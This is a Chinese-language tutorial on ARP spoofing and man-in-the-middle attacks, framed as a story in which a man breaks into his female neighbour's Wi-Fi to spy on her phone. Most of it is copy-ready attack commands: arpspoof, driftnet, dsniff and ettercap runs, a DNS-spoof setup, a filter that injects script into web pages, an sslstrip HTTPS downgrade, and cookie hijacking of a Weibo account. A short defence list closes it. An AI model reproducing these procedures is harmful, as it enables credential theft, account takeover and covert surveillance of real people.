來自身邊的安全威脅—ARP欺騙攻擊

小黑是一個電腦技術愛好者,他天天愛作的事情就是宅在家中玩電腦。小黑的隔壁住着一個女生,剛搬來不久,小黑對她非常好奇,可是一直不敢和她搭訕,就想用本身擅長電腦技術,儘量多的去收集信息瞭解她(情節須要,請勿模仿)。javascript

小黑首先想到的就是連入她家的無線網,通過以前的瞭解,他已經知道了女生家中的wifi名稱,而後嘗試了弱口令登陸,隨便試了幾下沒想到真的經過驗證了。(關於無線密碼破解這部份內容將在後期詳細講述,這裏只講同一個局域網環境中的攻擊,因此本文省略這個步驟。)小黑很高興,省了很多步驟,心想這個女生的安全意識真的有待提升啊。
圖片描述html

瞭解網絡環境java

接下來小黑要先了解下本身的網絡環境,首先他查看了本身的ip地址,本身如今的ip地址是192.168.1.132(小黑這裏用的是ubuntu的Linux ,不少工具要本身裝,在Kali上工具都是齊全的哦。)
![圖片描述][3]linux

以後就是要看一下這個局域網中有哪些設備,那就用nmap掃一下吧
nmap -sP 192.168.1.1-254 也能夠輸入 nmap -sP 192.168.1.0/24
圖片描述web

看起來設備不少呢。192.168.1.1是網關,也就是女生家中的無線路由器。Dell應該就是電腦設備,其餘幾個設備好像都是手機。上面的信息中能夠肯定女生此時在家,可是這麼多的設備,難道她們家來客人了?不太小黑清楚地記得,女生使用的是華爲手機(也就是此次的實驗的目標)。那目標的ip地址就知道了是192.168.1.106。
這裏先看下ARP緩存表:
圖片描述apache

剛開始ARP緩存表中沒有192.168.1.106,這裏ping一下以後再看ARP緩存表上就有了。
接下來,小黑就能夠進行arp欺騙攻擊了。ubuntu

攻擊原理windows

在小黑的記憶中,這種攻擊手段也叫作中間人攻擊MITM(Man-in-the-Middle Attack),算是一種古老的方法了,但仍有不少變種的中間人攻擊是有效的,可以很容易地欺騙外行而且入侵他們。MITM攻擊就是攻擊者扮演中間人而且實施攻擊。MITM攻擊它能夠劫持一段會話,稱爲會話劫持,能夠竊取密碼和其餘機密,即便使用了SSL加密。瀏覽器

這裏使用的arp欺騙也被稱爲arp緩存中毒,是在內網的MITM攻擊。Arp投毒的實現過程很是簡單,咱們只須要欺騙目標機器使其確信咱們的攻擊主機就是它的網關,再假裝成目標機器與網關欺騙網關,這樣全部的流量都會經過咱們的攻擊主機,咱們就能截獲目標機器與網關的通訊數據了。網絡中全部的機器都包含ARP緩存,它存儲了本地網絡中最近時間的MAC地址與ip地址的對應關係,咱們要達成攻擊目標的話就須要對這個緩存進行投毒。由於地址解析協議(arp)和arp投毒還涵蓋了許多其餘方面的知識,因此能夠先了解下arp的原理及這種攻擊如何在底層的協議中發揮做用。
圖片描述緩存

進行中間人攻擊

接下來小黑就開始攻擊了,先從收集女生手機上瀏覽的圖片信息開始吧:
第一步:啓用IP轉發:
echo 1 > / proc/sys/net/ipv4/ip_forward
圖片描述

第二步:使用arpspoof執行arp欺騙,毒化被欺騙者(192.168.1.106)
arpspoof -i eth0 -t 192.168.1.106 192.168.1.1
eth0是網卡的名稱,我這裏的是ens33,ifconfig能夠查看。
將被欺騙者的流量重定向給攻擊者,再由攻擊者轉發給網關。
圖片描述

第三步:使用arospoof執行arp欺騙,毒化網關(192.168.1.1)
arpspoof –i eth0 -t 192.168.1.1 192.168.1.132
使網關的數據重定向到攻擊者的機器。(流量由網關到攻擊者再到受攻擊者)
圖片描述

關於第二步和第三步,可能會和具體的網絡狀況不一樣而出現誤差,請進行靈活的嘗試。
第四步:執行drifnet,就能夠捕獲手機上瀏覽器訪問的圖片。
driftnet -i ens33
圖片描述

不一下子,就接收到手機上的圖片啦。看來她此時在瀏覽有關汽車的東西。
Ps:還能夠執行dsniff命令,捕獲密碼。
dsniff -i ens33
圖片描述

此時處於監聽狀態,被欺騙手機上用瀏覽器訪問ftp站點,輸入用戶名和密碼後,攻擊者主機上的dnsiff就能成功捕獲。
雖然能看到圖片(並且不是所有的圖片都能接受到),但小黑想要的不只僅是這些,他以爲還須要得到更多的信息。他又使用了另外一個工具:Ettercap。

Ettercap

Ettercap是一個多用途的開源工具,能夠用來執行嗅探、主機分析等。Ettercap可使用GUI(圖形)和CLI(命令行)模式。下面將使用Ettercap來說幾個關於中間人攻擊的實例:
·中間人攻擊,捕獲圖片。
·DNS劫持。
·替換HTML代碼。
·使用sslstrip突破ssl加密,捕獲密碼。
·對目標之間進行ARP欺騙,捕獲明文密碼。
·進行cookie劫持,登陸被欺騙者的騰訊微博。

1.中間人攻擊,捕獲圖片。

(1) 執行ettercap命令,進行arp欺騙。
在攻擊者的主機上執行以下命令
ettercap -T -M arp /(目標ip)// /(網關ip)// -q -i eth0
若是目標ip和網關ip不填寫,則是所有監聽。
-T:使用文本模式啓動;
-M:使用中間人攻擊,後面指定arp的攻擊方式及兩個目標;
-q:安靜模式(不回顯);
-i:指定監聽的網絡接口。
圖片描述

(2)執行driftnet命令,捕獲圖片。
driftnet -i eth0
在被欺騙者的手機上用瀏覽器訪問新聞頁面。此時,攻擊者的主機上就會捕獲到新聞頁面上包含的圖片。
圖片描述

1.DNS劫持
ettercap提供了不少有用的插件,在ettercao圖形界面下(ettercap -G),依次選擇「Plugins」->「Manage the plugins」,而後雙擊啓動插件,插件啓動後,插件名前會顯示*號。
圖片描述

(1) 編輯dns_spoof插件的配置文件
在kali linux下,ettercap的配置文件和腳本文件存放在/usr/share/ettercap/或/etc/ettercap/目錄下。
編輯dns_spoof 插件的配置文件/etc/ettercap/etter.dns,在etter.dns文件中添加一條A記錄,*號就是把任何域名轉向192.168.1.136(本機ip),也能夠填寫特定的域名,好比www.baidu.com。這會形成被欺騙者輸入任何域名都會轉向攻擊者定義的ip,這裏是轉到攻擊機的ip。
圖片描述

(2) 咱們在個人的攻擊機上(192.168.1.136)構建一個簡單的頁面。
在/var/www/html/ 目錄中編輯index.html
圖片描述

再啓動web服務
/etc/init.d/apache2 start
瀏覽器訪問192.168.1.136,顯示以下,一個簡單的hello。
圖片描述

(3) 執行ettercap命令,進行DNS劫持。此次的目標是192.168.1.107,就是個人宿主機(windows),192.168.1.1仍是網關。
ettercap -Tq -i eth0 -P dns_spoof -M arp:remote /192.168.1.107// //192.168.1.1/
圖片描述

(4) 被欺騙者(192.168.1.107)訪問百度首頁
圖片描述

域名已經被劫持了。
有的瀏覽器也可能出現服務器拒絕鏈接。
圖片描述

3.替換HTML代碼

ettercap 還有很強大的過濾腳本功能,經過使用過濾腳本,能夠對捕獲的數據包作修改(替換網頁內容、替換下載內容、在網頁中插入代碼等),而後發給被欺騙主機。
(1) 編輯文件replace.filter
新建一個過濾腳本文本replace.filter,內容以下:

1.    if (ip.proto == TCP && tcp.dst == 80){  
2.        if (search(DATA.data,"Accept-Encoding")){  
3.            replace("Accept-Encoding","Accept-Rubbish!");  
4.            #note:replacement string is same length as original string  
5.            msg("zapped Accept-Encoding!\n");  
6.        }  
7.    }  
8.    if (ip.proto == TCP && tcp.src == 80){  
9.        replace("<head>","<head><script type="text/javascript">alert('HTTP數據包內容被替換');</script>");  
10.        replace("<HEAD>","<HEAD><script type="text/javascript">alert('HTTP數據包內容被替換');</script>");  
11.        msg("成功替換HTTP數據包內容!\n");  
12.    }  

注意:根據語法規則if和「(」之間必定要有空格。
該腳本能夠替換HTML代碼中的<head>,在網頁上彈出提示框。
(2) 編譯文件replace.filter
要使用這個腳本,還須要使用ettercap自帶的編譯工具把這個腳本編譯成ettercap能夠識別的二進制文件,使用以下命令編譯,replace.ef就是已經編譯完成的過濾腳本。
etterfilter eplace.filter -o replace.ef
圖片描述

(3) 發動攻擊
而後執行以下命令,發動攻擊:
ettercap -T -q -i eth0 -F replace.ef -M arp:remote //192.168.1.107/ //192.168.1.1/
圖片描述

圖片描述

該腳本執行成功後,被欺騙者網頁會彈出提示框。

4.使用sslstrip突破ssl加密,捕獲密碼

原理以下:
(1) 攻擊者先進行ARP欺騙,使得攻擊者能捕獲被欺騙者的網絡流量。
(2) 攻擊者利用被欺騙者對瀏覽器地址欄中https與http忽略,將全部的https鏈接都替換爲http鏈接。
(3) 同時,攻擊者與服務器創建正常的https鏈接。
(4) 因爲http通訊是明文傳輸,攻擊者可以輕易捕獲密碼。
第一步:開啓內核轉發功能。
echo 1 > /proc/sys/net/ipv4/ip_forward
開啓內核轉發功能保證攻擊過程當中被攻擊者不斷網。
第二步:執行iptables命令。
圖片描述

把80端口的流量轉發到sslstrip監聽的10000端口上。
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
第三步:啓動sslstrip
sslstrip -l 10000
圖片描述

第四步:新開一個終端,執行ettercap命令,進行arp欺騙。
ettercap -T -q -M arp:remote //192.168.1.107/ //192.168.1.1/
第五步:捕獲密碼
被欺騙者登陸163郵箱時,https被降爲http,此時ettercap捕獲就能捕獲到密碼。
可是如今的瀏覽器都能察覺異常,足夠引發用戶的懷疑了。
圖片描述

5.對目標之間進行ARP欺騙,捕獲明文密碼

第一步:啓動ettercap
打開終端,輸入ettercap –G
依次選擇「sniff」->「unified sniffing」根據本身的要求選擇抓包的網絡接口。
圖片描述

第二步:掃描主機
選擇「Hosts」->「Scan for hosts」
掃描完成後選擇「Scan for hosts」,而後選擇「Hosts list」查看掃描到的主機列表
圖片描述

第三步:選擇攻擊目標
選擇192.168.0.107,單機「Add to Target 1」,而後選擇192.168.1.1,單機「Add to Target 2」
圖片描述

第四步:明確攻擊方式
依次選擇「Mitm」->「ARP poisoning」->「Sniff remote connections」->「肯定」。
告訴被欺騙者A(192.168.1.107)攻擊者(192.168.1.136)是網關(192.168.1.1),使得被欺騙者A把全部數據流量所有發送給攻擊者,而後抓包捕獲密碼。ettercap能夠自動完成這些步驟,只要選好目標主機便可。

在被欺騙者(192.168.1.107)的終端模擬器中執行arp命令,這時能夠看arp地址表,網關(192.168.1.1)MAC是攻擊機的,arp毒化成功。

圖片描述

第五步:開始監聽
依次選擇「Start」->「Start sniffing」開始監聽。
第六步:被欺騙者用瀏覽器訪問http://rpmfusion.org/,輸入用戶名密碼。
第七步:攻擊者主機,ettercap成功捕獲了用戶名和密碼。
圖片描述

6.進行cookie劫持,登陸被欺騙者的騰訊微博

使用ettercap抓取被欺騙者的cookie從而實現cookie劫持,並登錄被欺騙者的騰訊微博。
第一步:構建工具

使用Firefox瀏覽器、Scripish或GreaseMonkey、Original Cookie Injector,構建一個能夠在網頁中嵌入Cookie的工具。

(1) 先安裝GreaseMonkey或者Scripish,而後重啓瀏覽器。
Scripish下載地址:https://addons.mozilla.org/zh...
GreaseMonkey下載地址:https://addons.mozilla.org/en...
(2) 再安裝Original Cookie Injector,而後重啓瀏覽器。
Original Cookie Injector地址:http://userscripts-mirror.org...「Install」安裝。
第二步:掃描主機

在ettercap圖形界面,依次選擇「Hosts」->「Scan for hosts」,掃描完成後再選擇「Hosts list」,查看掃描到的主機列表。

第三步:選擇攻擊目標
選擇192.168.0.107,單機「Add to Target 1」,而後選擇192.168.1.1,單機「Add to Target 2」
第四步:明確攻擊方式
依次選擇「Mitm」->「ARP poisoning」->「Sniff remote connections」->「肯定」。
告訴被欺騙者A(192.168.1.107)攻擊者(192.168.1.136)是網關(192.168.1.1),使得被欺騙者A把全部數據流量所有發送給攻擊者,而後抓包捕獲密碼。ettercap能夠自動完成這些步驟,只要選好目標主機便可。
第五步:開始監聽
依次選擇「Start」->「Start sniffing」開始監聽。
第六步:在被欺騙着的主機上用瀏覽器訪問騰訊微博http://t.qq.com,輸入用戶名和密碼。
第七步:查看被欺騙者的網連接
「View」->」connections」,查看被欺騙者的網絡連接。
圖片描述

第八步:查看捕獲數據包的詳細信息,得到cookie
雙擊某個連接,查看捕獲數據包的詳細信息。把cookie:後面的字段複製下來。
圖片描述

第九步:登錄騰訊微博。
在攻擊者主機,訪問微博登陸頁面,按」ALT+C」,彈出對話框,把cookie值粘貼進去,單擊ok而後f5刷新頁面,就能登陸了。

以上幾個實驗在如今的瀏覽器上不必定能取得良好的效果了,可是新的變種攻擊仍是層出不窮,做爲最接近身邊的安全威脅(攻擊者也可能遠程操控局域網中的一臺電腦),咱們再必定程度上仍是須要警戒的。

arp欺騙攻擊的防範

那麼咱們在現實生活中怎麼防止受到這類攻擊呢?(1) 在客戶端使用arp命令綁定網關的IP/MAC(如arp -s 192.68.1.1 00-e0-eb-81-81-85)(2) 在交換機上作端口域MAC地址的靜態綁定。(3) 在路由器上作IP/MAC地址的靜態綁定。(4) 使用arp服務器定時廣播網段內全部主機的正確IP/MAC映射表。(5) 及時升級客戶端的操做系統和應用程序補丁。(6) 升級殺毒軟件及病毒庫。

相關文章
相關標籤/搜索